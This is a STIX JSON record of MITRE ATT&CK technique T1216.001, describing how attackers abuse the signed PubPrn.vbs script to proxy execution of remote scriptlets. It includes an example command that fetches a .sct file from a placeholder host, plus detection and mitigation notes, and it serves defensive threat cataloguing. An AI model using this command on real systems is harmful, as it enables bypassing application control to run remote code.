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{
"type": "bundle",
"id": "bundle--fbc35cd2-96fb-44c7-80c2-b11029290a11",
"spec_version": "2.0",
"objects": [
{
"x_mitre_platforms": [
"Windows"
],
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_contributors": [
"Atul Nair, Qualys"
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"type": "attack-pattern",
"id": "attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58",
"created": "2020-02-03T16:49:57.788Z",
"x_mitre_version": "2.0",
"external_references": [
{
"source_name": "mitre-attack",
"external_id": "T1216.001",
"url": "https://attack.mitre.org/techniques/T1216/001"
},
{
"source_name": "pubprn",
"url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn",
"description": "Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021."
},
{
"source_name": "Enigma0x3 PubPrn Bypass",
"url": "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/",
"description": "Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018."
}
],
"x_mitre_deprecated": false,
"revoked": false,
"description": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).",
"modified": "2022-04-18T14:55:35.817Z",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"name": "PubPrn",
"x_mitre_detection": "Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"x_mitre_is_subtechnique": true,
"x_mitre_data_sources": [
"Command: Command Execution",
"Script: Script Execution",
"Process: Process Creation"
],
"x_mitre_defense_bypassed": [
"Digital Certificate Validation",
"Application Control"
],
"x_mitre_attack_spec_version": "2.1.0",
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
}
]
} |